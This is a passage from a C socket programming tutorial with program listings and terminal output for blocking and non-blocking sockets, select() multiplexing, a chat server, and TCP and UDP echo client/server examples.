[bodo@bakawali testsocket]$ gcc -g senderprog.c -o senderprog

- Run the program without arguments.

[bodo@bakawali testsocket]$ ./senderprog


Client-Usage: ./senderprog <hostname> <message>

- Run the program with arguments.

[bodo@bakawali testsocket]$ ./senderprog 203.106.93.94 "Testing UDP datagram message from client"
Client-gethostname() is OK...
Client-socket() sockfd is OK...
Using port: 4950
Server-Waiting and listening...
Server-recvfrom() is OK...
Server-Got packet from 203.106.93.94
Server-Packet is 42 bytes long
Server-Packet contains "Testing UDP datagram message from client"
Server-sockfd successfully closed!
Client-sendto() is OK...

www.tenouk.com
sent 42 bytes to 203.106.93.94
Client-sockfd successfully closed!
[1]+ Done ./receiverprog
[bodo@bakawali testsocket]$

- Here, we test the UDP server and the client using the same machine. Make sure there is no restriction
such as permission etc. for the user that run the programs.
- To make it really real, may be you can test these programs by running receiverprog on some
machine, and then run senderprog on another. If there is no error, they should communicate.
- If senderprog calls connect() and specifies the receiverprog’s address then the
senderprog may only sent to and receive from the address specified by connect().
- For this reason, you don’t have to use sendto() and recvfrom(); you can simply use send()
and recv().

Blocking

- In a simple word 'block' means sleep but in a standby mode. You probably noticed that when you run
receiverprog, previously, it just sits there until a packet arrives.
- What happened is that it called recvfrom(), there was no data, and so recvfrom() is said to
"block" (that is, sleep there) until some data arrives. The socket functions that can block are:

accept()
read()
readv()
recv()
recvfrom()
recvmsg()
send()
sendmsg()
sendto()
write()
writev()

- The reason they can do this is because they’re allowed to. When you first create the socket descriptor
with socket(), the kernel sets it to blocking.
- If you don’t want a socket to be blocking, you have to make a call to fcntl() something like the
following:

#include <unistd.h>
#include <fcntl.h>
...
...
sockfd = socket(AF_INET, SOCK_STREAM, 0);
fcntl(sockfd, F_SETFL, O_NONBLOCK);
...
...

- By setting a socket to non-blocking, you can effectively 'poll' the socket for information. If you try to
read from a non-blocking socket and there’s no data there, it’s not allowed to block, it will return -1
and errno will be set to EWOULDBLOCK.
- Generally speaking, however, this type of polling is a bad idea. If you put your program in a busy-wait
looking for data on the socket, you’ll suck up CPU time.
- A more elegant solution for checking to see if there’s data waiting to be read comes in the following
section on select().

Using select() for I/O multiplexing

- One traditional way to write network servers is to have the main server block on accept(), waiting
for a connection. Once a connection comes in, the server fork()s, then the child process handles the
connection and the main server is able to service new incoming requests.
- With select(), instead of having a process for each request, there is usually only one process that
multiplexes all requests, servicing each request as much as it can.
- So one main advantage of using select() is that your server will only require a single process to
handle all requests. Thus, your server will not need shared memory or synchronization primitives for
different tasks to communicate.

www.tenouk.com
- As discussed before we can use the non-blocking sockets’ functions but it is CPU intensive.
- One major disadvantage of using select(), is that your server cannot act like there's only one client,
like with a fork()'ing solution. For example, with a fork()'ing solution, after the server fork()s,
the child process works with the client as if there was only one client in the universe, the child does not
have to worry about new incoming connections or the existence of other sockets.
- With select(), the programming isn't as transparent. The prototype is as the following:
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

int select(int numfds, fd_set *readfds, fd_set *writefds, fd_set


*exceptfds, struct timeval *timeout);

- The function monitors "sets" of file descriptors; in particular readfds, writefds, and
exceptfds. If you want to see if you can read from standard input and some socket descriptor,
sockfd, just add the file descriptors 0 and sockfd to the set readfds.
- The parameter numfds should be set to the values of the highest file descriptor plus one. In this
example, it should be set to sockfd+1, since it is assuredly higher than standard input that is 0.
- When select() returns, readfds will be modified to reflect which of the file descriptors you have
selected which is ready for reading. You can test them with the macro FD_ISSET() listed below.
- Let see how to manipulate these sets. Each set is of the type fd_set. The following macros operate
on this type:

▪ FD_ZERO(fd_set *set) – clears a file descriptor set.


▪ FD_SET(int fd, fd_set *set) – adds fd to the set.
▪ FD_CLR(int fd, fd_set *set) – removes fd from the set.
▪ FD_ISSET(int fd, fd_set *set) – tests to see if fd is in the set.

- select() works by blocking until something happens on a file descriptor/socket. The 'something' is
the data coming in or being able to write to a file descriptor, you tell select() what you want to be
woken up by. How do you tell it? You fill up an fd_set structure with some macros.
- Most select()based servers look quite similar:

▪ Fill up an fd_set structure with the file descriptors you want to know when data comes in on.
▪ Fill up an fd_set structure with the file descriptors you want to know when you can write on.
▪ Call select() and block until something happens.
▪ Once select() returns, check to see if any of your file descriptors was the reason you woke
up. If so, 'service' that file descriptor in whatever particular way your server needs to (i.e. read in
a request for a Web page).
▪ Repeat this process forever.

- Sometimes you don’t want to wait forever for someone to send you some data. Maybe every 60
seconds you want to print something like "Processing..." to the terminal even though nothing has
happened.
- The timeval structure allows you to specify a timeout period. If the time is exceeded and
select() still hasn’t found any ready file descriptors, it’ll return, so you can continue processing.
- The struct timeval has the following fields:

struct timeval
{
int tv_sec; /* seconds */
int tv_usec; /* microseconds */
};

- Just set tv_sec to the number of seconds to wait, and set tv_usec to the number of microseconds to
wait. There are 1,000,000 microseconds in a second. Also, when the function returns, timeout
might be updated to show the time still remaining.
- Standard UNIX time slice is around 100 milliseconds, so you might have to wait that long no matter
how small you set your struct timeval.
- If you set the fields in your struct timeval to 0, select() will timeout immediately,
effectively polling all the file descriptors in your sets. If you set the parameter timeout to NULL, it
will never timeout, and will wait until the first file descriptor is ready.
- Finally, if you don’t care about waiting for a certain set, you can just set it to NULL in the call to
select().
- The following code snippet waits 5.8 seconds for something to appear on standard input.

www.tenouk.com
/*selectcp.c - a select() demo*/
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
/* file descriptor for standard input */
#define STDIN 0

int main(int argc, char *argv[])


{
struct timeval tval;
fd_set readfds;
tval.tv_sec = 5;
tval.tv_usec = 800000;

FD_ZERO(&readfds);
FD_SET(STDIN, &readfds);
/* don’t care about writefds and exceptfds: */
select(STDIN+1, &readfds, NULL, NULL, &tval);
if (FD_ISSET(STDIN, &readfds))
printf("A key was pressed lor!\n");
else
printf("Timed out lor!...\n");
return 0;
}

- Compile and link the program. Make sure there is no error :o).

[bodo@bakawali testsocket]$ gcc -g selectcp.c -o selectcp

- Run the program and then press k.

[bodo@bakawali testsocket]$ ./selectcp


k
A key was pressed lor!

- Run the program and just leave it.

[bodo@bakawali testsocket]$ ./selectcp


Timed out lor!...

- If you’re on a line buffered terminal, the key you hit should be RETURN or it will time out anyway.
- Now, some of you might think this is a great way to wait for data on a datagram socket and you are
right: it might be. Some Unices can use select() in this manner, and some can’t. You should see
what your local man page says on the matter if you want to attempt it.
- Some Unices update the time in your struct timeval to reflect the amount of time still remaining
before a timeout. But others do not. Don’t rely on that occurring if you want to be portable. Use
gettimeofday() if you need to track time elapsed.
- When a socket in the read set closes the connection, select() returns with that socket descriptor
set as "ready to read". When you actually do recv() from it, recv() will return 0. That’s how you
know the client has closed the connection.
- If you have a socket that is listen()ing, you can check to see if there is a new connection by putting
that socket’s file descriptor in the readfds set.

…Continue on next Module…More concept and program examples…

-----------------------------------------End socket Part II-----------------------------------------


www.tenouk.com

Further reading and digging:

1. Check the best selling C/C++, Networking, Linux and Open Source books at Amazon.com.

www.tenouk.com
MODULE 41
NETWORK PROGRAMMING
SOCKET PART III
-Program Examples-

Note:
This is a continuation from Part II, Module40. Working program examples compiled using gcc, tested using the
public IPs, run on Fedora 3 with several times update, as normal user. The Fedora machine used for the testing
having the "No Stack Execute" disabled and the SELinux set to default configuration. All the program
example is generic. Beware codes that expand more than one line. Have a nice ride lol!

This Module will cover the following sub-topics:


▪ Example: select() server
▪ Connecting a TCP server and client:
▪ Example: Connecting a TCP server to a client, a server program
▪ Example: Connecting a TCP client to a server, a client program
▪ UDP connectionless client/server
▪ Connecting a UDP server and client:
▪ Example: Connecting a UDP server to a client, a server program
▪ Example: Connecting a UDP client to a server, a client program
▪ Connection-oriented server designs:
▪ Iterative server
▪ spawn() server and spawn() worker
▪ sendmsg() server and recvmsg() worker
▪ Multiple accept() servers and multiple accept() workers
▪ Example: Writing an iterative server program
▪ Example: Connection-oriented common client
▪ Example: Sending and receiving a multicast datagram
▪ Example: Sending a multicast datagram, a server program
▪ Example: Receiving a multicast datagram, a client

Example: select() server

- The following program example acts like a simple multi-user chat server. Start running it in one
window, then telnet to it ("telnet hostname 2020") from multiple other windows.
- When you type something in one telnet session, it should appear in all the others windows.

/*******select.c*********/
/*******Using select() for I/O multiplexing*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* port we're listening on */
#define PORT 2020

int main(int argc, char *argv[])


{
/* master file descriptor list */
fd_set master;
/* temp file descriptor list for select() */
fd_set read_fds;
/* server address */
struct sockaddr_in serveraddr;
/* client address */
struct sockaddr_in clientaddr;
/* maximum file descriptor number */
int fdmax;
/* listening socket descriptor */
int listener;
/* newly accept()ed socket descriptor */
int newfd;
/* buffer for client data */
char buf[1024];

www.tenouk.com Page 1 of 27
int nbytes;
/* for setsockopt() SO_REUSEADDR, below */
int yes = 1;
int addrlen;
int i, j;
/* clear the master and temp sets */
FD_ZERO(&master);
FD_ZERO(&read_fds);

/* get the listener */


if((listener = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("Server-socket() error lol!");
/*just exit lol!*/
exit(1);
}
printf("Server-socket() is OK...\n");
/*"address already in use" error message */
if(setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
{
perror("Server-setsockopt() error lol!");
exit(1);
}
printf("Server-setsockopt() is OK...\n");

/* bind */
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = INADDR_ANY;
serveraddr.sin_port = htons(PORT);
memset(&(serveraddr.sin_zero), '\0', 8);

if(bind(listener, (struct sockaddr *)&serveraddr, sizeof(serveraddr)) == -1)


{
perror("Server-bind() error lol!");
exit(1);
}
printf("Server-bind() is OK...\n");

/* listen */
if(listen(listener, 10) == -1)
{
perror("Server-listen() error lol!");
exit(1);
}
printf("Server-listen() is OK...\n");

/* add the listener to the master set */


FD_SET(listener, &master);
/* keep track of the biggest file descriptor */
fdmax = listener; /* so far, it's this one*/

/* loop */
for(;;)
{
/* copy it */
read_fds = master;

if(select(fdmax+1, &read_fds, NULL, NULL, NULL) == -1)


{
perror("Server-select() error lol!");
exit(1);
}
printf("Server-select() is OK...\n");

/*run through the existing connections looking for data to be read*/


for(i = 0; i <= fdmax; i++)
{
if(FD_ISSET(i, &read_fds))
{ /* we got one... */
if(i == listener)
{
/* handle new connections */
addrlen = sizeof(clientaddr);
if((newfd = accept(listener, (struct sockaddr *)&clientaddr, &addrlen)) == -1)
{
perror("Server-accept() error lol!");
}
else
{
printf("Server-accept() is OK...\n");

www.tenouk.com Page 2 of 27
FD_SET(newfd, &master); /* add to master set */
if(newfd > fdmax)
{ /* keep track of the maximum */
fdmax = newfd;
}
printf("%s: New connection from %s on socket %d\n", argv[0],
inet_ntoa(clientaddr.sin_addr), newfd);
}
}
else
{
/* handle data from a client */
if((nbytes = recv(i, buf, sizeof(buf), 0)) <= 0)
{
/* got error or connection closed by client */
if(nbytes == 0)
/* connection closed */
printf("%s: socket %d hung up\n", argv[0], i);

else
perror("recv() error lol!");

/* close it... */
close(i);
/* remove from master set */
FD_CLR(i, &master);
}
else
{
/* we got some data from a client*/
for(j = 0; j <= fdmax; j++)
{
/* send to everyone! */
if(FD_ISSET(j, &master))
{
/*except the listener and ourselves */
if(j != listener && j != i)
{
if(send(j, buf, nbytes, 0) == -1)
perror("send() error lol!");
}
}
}
}
}
}
}
}
return 0;
}

- Compile and link the program.

[bodo@bakawali testsocket]$ gcc -g select.c -o select

- Run the program.

[bodo@bakawali testsocket]$ ./select


Server-socket() is OK...
Server-setsockopt() is OK...
Server-bind() is OK...
Server-listen() is OK...

- You can leave the program running at the background (Ctrl + z).

[bodo@bakawali testsocket]$ ./select


Server-socket() is OK...
Server-setsockopt() is OK...
Server-bind() is OK...
Server-listen() is OK...

[1]+ Stopped ./select


[bodo@bakawali testsocket]$ bg
[1]+ ./select &
[bodo@bakawali testsocket]$

www.tenouk.com Page 3 of 27
- Do some verification.

[bodo@bakawali testsocket]$ ps aux | grep select


bodo 27474 0.0 0.2 1384 292 pts/2 S+ 14:32 0:00 ./select
bodo 27507 0.0 0.5 3724 668 pts/3 S+ 14:34 0:00 grep select
[bodo@bakawali testsocket]$ netstat -a |grep 2020
tcp 0 0 *:2020 *:* LISTEN
[bodo@bakawali testsocket]$

- Telnet from other computers or windows using hostname or the IP address. Here we use hostname,
bakawali. Use escape character ( Ctrl + ] ) to terminate command. For other telnet command please
type help.

[bodo@bakawali testsocket]$ telnet bakawali 2020


Trying 203.106.93.94...
Connected to bakawali.jmti.gov.my (203.106.93.94).
Escape character is '^]'.
^]
telnet> mode line
testing some text
the most visible one

- The last two messages were typed at another two machines that connected through socket 5 and 6
(socket 4 is another window of the server) using telnet. Socket 5 and 6 are from Windows 2000 Server
machines.
- The following are messages on the server console. There are another two machine connected to the
server and the messages at the server console is shown below.

[bodo@bakawali testsocket]$ Server-select() is OK...


Server-accept() is OK...
./select: New connection from 203.106.93.94 on socket 4
Server-select() is OK...
...
Server-accept() is OK...
./select: New connection from 203.106.93.91 on socket 5
Server-select() is OK...
Server-select() is OK...
...
Server-select() is OK...
Server-select() is OK...
Server-accept() is OK...
./select: New connection from 203.106.93.82 on socket 6

- When the clients disconnected from the server through socket 4, 5 and 6, the following messages appear
on the server console.

...
Server-select() is OK...
Server-select() is OK...
./select: socket 5 hung up
Server-select() is OK...
./select: socket 6 hung up
Server-select() is OK...
./select: socket 4 hung up

- There are two file descriptor sets in the code: master and read_fds. The first, master, holds all
the socket descriptors that are currently connected, as well as the socket descriptor that is listening for
new connections.
- The reason we have the master set is that select() actually changes the set you pass into it to
reflect which sockets are ready to read. Since we have to keep track of the connections from one call of
select() to the next, we must store these safely away somewhere. At the last minute, we copy the
master into the read_fds, and then call select().
- Then every time we get a new connection, we have to add it to the master set and also every time a
connection closes, we have to remove it from the master set.
- Notice that we check to see when the listener socket is ready to read. When it is, it means we have
a new connection pending, and we accept() it and add it to the master set. Similarly, when a client

www.tenouk.com Page 4 of 27
connection is ready to read, and recv() returns 0, we know that the client has closed the connection,
and we must remove it from the master set.
- If the client recv() returns non-zero, though, we know some data has been received. So we get it, and
then go through the master list and send that data to all the rest of the connected clients.

Connecting a TCP server and client

- The following program examples are connection-oriented where sockets use TCP to connect a server to
a client, and a client to a server. This example provides more complete sockets’ APIs usage.

Example: Connecting a TCP server to a client, a server program

/************tcpserver.c************************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/***********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h>
/* BufferLength is 100 bytes */
#define BufferLength 100
/* Server port number */
#define SERVPORT 3111

int main()
{
/* Variable and structure definitions. */
int sd, sd2, rc, length = sizeof(int);
int totalcnt = 0, on = 1;
char temp;
char buffer[BufferLength];
struct sockaddr_in serveraddr;
struct sockaddr_in their_addr;

fd_set read_fd;
struct timeval timeout;
timeout.tv_sec = 15;
timeout.tv_usec = 0;

/* The socket() function returns a socket descriptor */


/* representing an endpoint. The statement also */
/* identifies that the INET (Internet Protocol) */
/* address family with the TCP transport (SOCK_STREAM) */
/* will be used for this socket. */
/************************************************/
/* Get a socket descriptor */
if((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("Server-socket() error");
/* Just exit */
exit (-1);
}
else
printf("Server-socket() is OK\n");

/* The setsockopt() function is used to allow */


/* the local address to be reused when the server */
/* is restarted before the required wait time */
/* expires. */
/***********************************************/
/* Allow socket descriptor to be reusable */
if((rc = setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))) < 0)
{
perror("Server-setsockopt() error");
close(sd);
exit (-1);
}
else
printf("Server-setsockopt() is OK\n");

/* bind to an address */

www.tenouk.com Page 5 of 27
memset(&serveraddr, 0x00, sizeof(struct sockaddr_in));
serveraddr.sin_family = AF_INET;
serveraddr.sin_port = htons(SERVPORT);
serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);

printf("Using %s, listening at %d\n", inet_ntoa(serveraddr.sin_addr), SERVPORT);

/* After the socket descriptor is created, a bind() */


/* function gets a unique name for the socket. */
/* In this example, the user sets the */
/* s_addr to zero, which allows the system to */
/* connect to any client that used port 3005. */
if((rc = bind(sd, (struct sockaddr *)&serveraddr, sizeof(serveraddr))) < 0)
{
perror("Server-bind() error");
/* Close the socket descriptor */
close(sd);
/* and just exit */
exit(-1);
}
else
printf("Server-bind() is OK\n");

/* The listen() function allows the server to accept */


/* incoming client connections. In this example, */
/* the backlog is set to 10. This means that the */
/* system can queue up to 10 connection requests before */
/* the system starts rejecting incoming requests.*/
/*************************************************/
/* Up to 10 clients can be queued */
if((rc = listen(sd, 10)) < 0)
{
perror("Server-listen() error");
close(sd);
exit (-1);
}
else
printf("Server-Ready for client connection...\n");

/* The server will accept a connection request */


/* with this accept() function, provided the */
/* connection request does the following: */
/* - Is part of the same address family */
/* - Uses streams sockets (TCP) */
/* - Attempts to connect to the specified port */
/***********************************************/
/* accept() the incoming connection request. */

int sin_size = sizeof(struct sockaddr_in);


if((sd2 = accept(sd, (struct sockaddr *)&their_addr, &sin_size)) < 0)
{
perror("Server-accept() error");
close(sd);
exit (-1);
}
else
printf("Server-accept() is OK\n");

/*client IP*/
printf("Server-new socket, sd2 is OK...\n");
printf("Got connection from the f***ing client: %s\n", inet_ntoa(their_addr.sin_addr));

/* The select() function allows the process to */


/* wait for an event to occur and to wake up */
/* the process when the event occurs. In this */
/* example, the system notifies the process */
/* only when data is available to read. */
/***********************************************/
/* Wait for up to 15 seconds on */
/* select() for data to be read. */
FD_ZERO(&read_fd);
FD_SET(sd2, &read_fd);
rc = select(sd2+1, &read_fd, NULL, NULL, &timeout);
if((rc == 1) && (FD_ISSET(sd2, &read_fd)))
{
/* Read data from the client. */
totalcnt = 0;

while(totalcnt < BufferLength)


{

www.tenouk.com Page 6 of 27
/* When select() indicates that there is data */
/* available, use the read() function to read */
/* 100 bytes of the string that the */
/* client sent. */
/***********************************************/
/* read() from client */
rc = read(sd2, &buffer[totalcnt], (BufferLength - totalcnt));
if(rc < 0)
{
perror("Server-read() error");
close(sd);
close(sd2);
exit (-1);
}
else if (rc == 0)
{
printf("Client program has issued a close()\n");
close(sd);
close(sd2);
exit(-1);
}
else
{
totalcnt += rc;
printf("Server-read() is OK\n");
}

}
}
else if (rc < 0)
{
perror("Server-select() error");
close(sd);
close(sd2);
exit(-1);
}
/* rc == 0 */
else
{
printf("Server-select() timed out.\n");
close(sd);
close(sd2);
exit(-1);
}

/*Shows the data*/


printf("Received data from the f***ing client: %s\n", buffer);

/* Echo some bytes of string, back */


/* to the client by using the write() */
/* function. */
/************************************/
/* write() some bytes of string, */
/* back to the client. */
printf("Server-Echoing back to client...\n");
rc = write(sd2, buffer, totalcnt);
if(rc != totalcnt)
{
perror("Server-write() error");
/* Get the error number. */
rc = getsockopt(sd2, SOL_SOCKET, SO_ERROR, &temp, &length);
if(rc == 0)
{
/* Print out the asynchronously */
/* received error. */
errno = temp;
perror("SO_ERROR was: ");
}
else
printf("Server-write() is OK\n");

close(sd);
close(sd2);
exit(-1);
}

/* When the data has been sent, close() */


/* the socket descriptor that was returned */
/* from the accept() verb and close() the */
/* original socket descriptor. */

www.tenouk.com Page 7 of 27
/*****************************************/
/* Close the connection to the client and */
/* close the server listening socket. */
/******************************************/
close(sd2);
close(sd);
exit(0);
return 0;
}

- Compile and link the program. Make sure there is no error.

[bodo@bakawali testsocket]$ gcc -g tcpserver.c -o tcpserver

- Run the program. In this example we let the program run in the background.

[bodo@bakawali testsocket]$ ./tcpserver


Server-socket() is OK
Server-setsockopt() is OK
Using 0.0.0.0, listening at 3111
Server-bind() is OK
Server-Ready for client connection...

[1]+ Stopped ./tcpserver


[bodo@bakawali testsocket]$ bg
[1]+ ./tcpserver &
[bodo@bakawali testsocket]$

- Do some verification.

[bodo@bakawali testsocket]$ ps aux | grep tcpserver


bodo 7914 0.0 0.2 3172 324 pts/3 S 11:59 0:00 ./tcpserver
bodo 7921 0.0 0.5 5540 648 pts/3 S+ 12:01 0:00 grep tcpserver
[bodo@bakawali testsocket]$ netstat -a | grep 3111
tcp 0 0 *:3111 *:* LISTEN

- When the next program example (the TCP client) is run, the following messages should be expected at
the server console.

[bodo@bakawali testsocket]$ Server-accept() is OK


Server-new socket, sd2 is OK...
Got connection from the f***ing client: 203.106.93.94
Server-read() is OK
Received data from the f***ing client: This is a test string from client lol!!!
Server-Echoing back to client...

[1]+ Done ./tcpserver


[bodo@bakawali testsocket]$

- If the server program and then the client are run, the following messages should be expected at the
server console.

[bodo@bakawali testsocket]$ ./tcpserver


Server-socket() is OK
Server-setsockopt() is OK
Using 0.0.0.0, listening at 3111
Server-bind() is OK
Server-Ready for client connection...
Server-accept() is OK
Server-new socket, sd2 is OK...
Got connection from the f***ing client: 203.106.93.94
Server-read() is OK
Received data from the f***ing client: This is a test string from client lol!!!
Server-Echoing back to client...
[bodo@bakawali testsocket]$

- Just telneting the server.

[bodo@bakawali testsocket]$ telnet 203.106.93.94 3111

www.tenouk.com Page 8 of 27
Trying 203.106.93.94...
Connected to bakawali.jmti.gov.my (203.106.93.94).
Escape character is '^]'.
^]
telnet> help
Commands may be abbreviated. Commands are:

close close current connection


logout forcibly logout remote user and close the connection
display display operating parameters
mode try to enter line or character mode ('mode ?' for more)
open connect to a site
quit exit telnet
send transmit special characters ('send ?' for more)
set set operating parameters ('set ?' for more)
unset unset operating parameters ('unset ?' for more)
status print status information
toggle toggle operating parameters ('toggle ?' for more)
slc change state of special characters ('slc ?' for more)
auth turn on (off) authentication ('auth ?' for more)
encrypt turn on (off) encryption ('encrypt ?' for more)
forward turn on (off) credential forwarding ('forward ?' for more)
z suspend telnet
! invoke a subshell
environ change environment variables ('environ ?' for more)
? print help information
telnet>quit

- Well, it looks that we have had a telnet session with the server.

Example: Connecting a TCP client to a server, a client program

- Well, let try the client program that will connect to the previous server program.
- The following example shows how to connect a socket client program to a connection-oriented server.

/************tcpclient.c************************/
/* Header files needed to use the sockets API. */
/* File contains Macro, Data Type and */
/* Structure definitions along with Function */
/* prototypes. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
/* BufferLength is 100 bytes */
#define BufferLength 100
/* Default host name of server system. Change it to your default */
/* server hostname or IP. If the user do not supply the hostname */
/* as an argument, the_server_name_or_IP will be used as default*/
#define SERVER "The_server_name_or_IP"
/* Server's port number */
#define SERVPORT 3111

/* Pass in 1 parameter which is either the */


/* address or host name of the server, or */
/* set the server name in the #define SERVER ... */
int main(int argc, char *argv[])
{
/* Variable and structure definitions. */
int sd, rc, length = sizeof(int);
struct sockaddr_in serveraddr;
char buffer[BufferLength];
char server[255];
char temp;
int totalcnt = 0;
struct hostent *hostp;
char data[100] = "This is a test string from client lol!!! ";

www.tenouk.com Page 9 of 27
/* The socket() function returns a socket */
/* descriptor representing an endpoint. */
/* The statement also identifies that the */
/* INET (Internet Protocol) address family */
/* with the TCP transport (SOCK_STREAM) */
/* will be used for this socket. */
/******************************************/
/* get a socket descriptor */
if((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("Client-socket() error");
exit(-1);
}
else
printf("Client-socket() OK\n");
/*If the server hostname is supplied*/
if(argc > 1)
{
/*Use the supplied argument*/
strcpy(server, argv[1]);
printf("Connecting to the f***ing %s, port %d ...\n", server, SERVPORT);
}
else
/*Use the default server name or IP*/
strcpy(server, SERVER);

memset(&serveraddr, 0x00, sizeof(struct sockaddr_in));


serveraddr.sin_family = AF_INET;
serveraddr.sin_port = htons(SERVPORT);

if((serveraddr.sin_addr.s_addr = inet_addr(server)) == (unsigned long)INADDR_NONE)


{

/* When passing the host name of the server as a */


/* parameter to this program, use the gethostbyname() */
/* function to retrieve the address of the host server. */
/***************************************************/
/* get host address */
hostp = gethostbyname(server);
if(hostp == (struct hostent *)NULL)
{
printf("HOST NOT FOUND --> ");
/* h_errno is usually defined */
/* in netdb.h */
printf("h_errno = %d\n",h_errno);
printf("---This is a client program---\n");
printf("Command usage: %s <server name or IP>\n", argv[0]);
close(sd);
exit(-1);
}
memcpy(&serveraddr.sin_addr, hostp->h_addr, sizeof(serveraddr.sin_addr));
}

/* After the socket descriptor is received, the */


/* connect() function is used to establish a */
/* connection to the server. */
/***********************************************/
/* connect() to server. */
if((rc = connect(sd, (struct sockaddr *)&serveraddr, sizeof(serveraddr))) < 0)
{
perror("Client-connect() error");
close(sd);
exit(-1);
}
else
printf("Connection established...\n");

/* Send string to the server using */


/* the write() function. */
/*********************************************/
/* Write() some string to the server. */
printf("Sending some string to the f***ing %s...\n", server);
rc = write(sd, data, sizeof(data));

if(rc < 0)
{
perror("Client-write() error");
rc = getsockopt(sd, SOL_SOCKET, SO_ERROR, &temp, &length);
if(rc == 0)
{

www.tenouk.com Page 10 of 27
/* Print out the asynchronously received error. */
errno = temp;
perror("SO_ERROR was");
}
close(sd);
exit(-1);
}
else
{
printf("Client-write() is OK\n");
printf("String successfully sent lol!\n");
printf("Waiting the %s to echo back...\n", server);
}

totalcnt = 0;
while(totalcnt < BufferLength)
{

/* Wait for the server to echo the */


/* string by using the read() function. */
/***************************************/
/* Read data from the server. */
rc = read(sd, &buffer[totalcnt], BufferLength-totalcnt);
if(rc < 0)
{
perror("Client-read() error");
close(sd);
exit(-1);
}
else if (rc == 0)
{
printf("Server program has issued a close()\n");
close(sd);
exit(-1);
}
else
totalcnt += rc;
}
printf("Client-read() is OK\n");
printf("Echoed data from the f***ing server: %s\n", buffer);

/* When the data has been read, close() */


/* the socket descriptor. */
/****************************************/
/* Close socket descriptor from client side. */
close(sd);
exit(0);
return 0;
}

- Compile and link the client program.

[bodo@bakawali testsocket]$ gcc -g tcpclient.c -o tcpclient

- Run the program. Before that don’t forget to run the server program first. The first run is without the
server hostname/IP.

[bodo@bakawali testsocket]$ ./tcpclient


Client-socket() OK
HOST NOT FOUND --> h_errno = 1
---This is a client program---
Command usage: ./tcpclient <server name or IP>
[bodo@bakawali testsocket]$

- Then run with the server hostname or IP.

[bodo@bakawali testsocket]$ ./tcpclient 203.106.93.94


Client-socket() OK
Connecting to the f***ing 203.106.93.94, port 3111 ...
Connection established...
Sending some string to the f***ing 203.106.93.94...
Client-write() is OK
String successfully sent lol!
Waiting the 203.106.93.94 to echo back...
Client-read() is OK

www.tenouk.com Page 11 of 27
Echoed data from the f***ing server: This is a test string from client lol!!!
[bodo@bakawali testsocket]$

- And at the server console.

[bodo@bakawali testsocket]$ ./tcpserver


Server-socket() is OK
Server-setsockopt() is OK
Using 0.0.0.0, listening at 3111
Server-bind() is OK
Server-Ready for client connection...
Server-accept() is OK
Server-new socket, sd2 is OK...
Got connection from the f***ing client: 203.106.93.94
Server-read() is OK
Received data from the f***ing client: This is a test string from client lol!!!
Server-Echoing back to client...
[bodo@bakawali testsocket]$

- Well, it works!

UDP connectionless client/server

- The connectionless protocol server and client examples illustrate the socket APIs that are written for
User Datagram Protocol (UDP). The server and client examples use the following sequence of function
calls:

▪ socket()
▪ bind()

- The following figure illustrates the client/server relationship of the socket APIs for a connectionless
protocol.

Figure 1: UDP connectionless APIs relationship.

www.tenouk.com Page 12 of 27
Connecting a UDP server and client

- The following examples show how to use UDP to connect a server to a connectionless client, and a
connectionless client to a server.

Example: Connecting a UDP server to a client, a server program

- The first example shows how to use UDP to connect a connectionless socket server program to a client.

/*******************udpserver.c*****************/
/* Header files needed to use the sockets API. */
/* File contain Macro, Data Type and Structure */
/* definitions along with Function prototypes. */
/* header files */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* Server's port number, listen at 3333 */
#define SERVPORT 3333

/* Run the server without argument */


int main(int argc, char *argv[])
{
/* Variable and structure definitions. */
int sd, rc;
struct sockaddr_in serveraddr, clientaddr;
int clientaddrlen = sizeof(clientaddr);
int serveraddrlen = sizeof(serveraddr);
char buffer[100];
char *bufptr = buffer;
int buflen = sizeof(buffer);

/* The socket() function returns a socket */


/* descriptor representing an endpoint. */
/* The statement also identifies that the */
/* INET (Internet Protocol) address family */
/* with the UDP transport (SOCK_DGRAM) will */
/* be used for this socket. */
/******************************************/
/* get a socket descriptor */
if((sd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("UDP server - socket() error");
exit(-1);
}
else
printf("UDP server - socket() is OK\n");

printf("UDP server - try to bind...\n");

/* After the socket descriptor is received, */


/* a bind() is done to assign a unique name */
/* to the socket. In this example, the user */
/* set the s_addr to zero. This allows the */
/* system to connect to any client that uses */
/* port 3333. */
/********************************************/
/* bind to address */
memset(&serveraddr, 0x00, serveraddrlen);
serveraddr.sin_family = AF_INET;
serveraddr.sin_port = htons(SERVPORT);
serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
if((rc = bind(sd, (struct sockaddr *)&serveraddr, serveraddrlen)) < 0)
{
perror("UDP server - bind() error");
close(sd);
/* If something wrong with socket(), just exit lol */
exit(-1);
}
else
printf("UDP server - bind() is OK\n");

www.tenouk.com Page 13 of 27
printf("Using IP %s and port %d\n", inet_ntoa(serveraddr.sin_addr), SERVPORT);
printf("UDP server - Listening...\n");

/* Use the recvfrom() function to receive the */


/* data. The recvfrom() function waits */
/* indefinitely for data to arrive. */
/************************************************/
/* This example does not use flags that control */
/* the reception of the data. */
/************************************************/
/* Wait on client requests. */
rc = recvfrom(sd, bufptr, buflen, 0, (struct sockaddr *)&clientaddr, &clientaddrlen);
